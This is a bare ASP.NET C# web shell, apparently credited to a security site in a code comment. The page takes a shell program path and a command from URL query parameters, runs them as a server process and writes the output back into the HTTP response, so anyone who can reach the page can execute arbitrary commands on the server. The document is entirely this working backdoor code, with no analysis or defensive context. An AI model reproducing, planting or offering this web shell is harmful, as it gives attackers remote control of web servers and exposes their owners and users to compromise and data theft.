protected void Page_load(object sender,EventArgs e)
{
string ok = Request.QueryString["sb"];
string shell= Request.QueryString["shell"];
//www.moonsec.com moon
Response.Write(shell + ok );
Response.Write("
");
Response.Write(GetCmd(ok,shell));
Response.Write("
");}
private string GetCmd(string cmd,string shell)
{
string ok = string.Empty;
Process p = new Process();
p.StartInfo.FileName = shell;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
string strOutput = null;
try
{
p.Start();
p.StandardInput.WriteLine(cmd);
Response.Write(cmd);
p.StandardInput.WriteLine("exit");
ok = p.StandardOutput.ReadToEnd();
p.WaitForExit();
p.Close();
}
catch (Exception ex)
{
Response.Write("
");
Response.Write(ex);
Response.Write("/
");
}
return ok;
}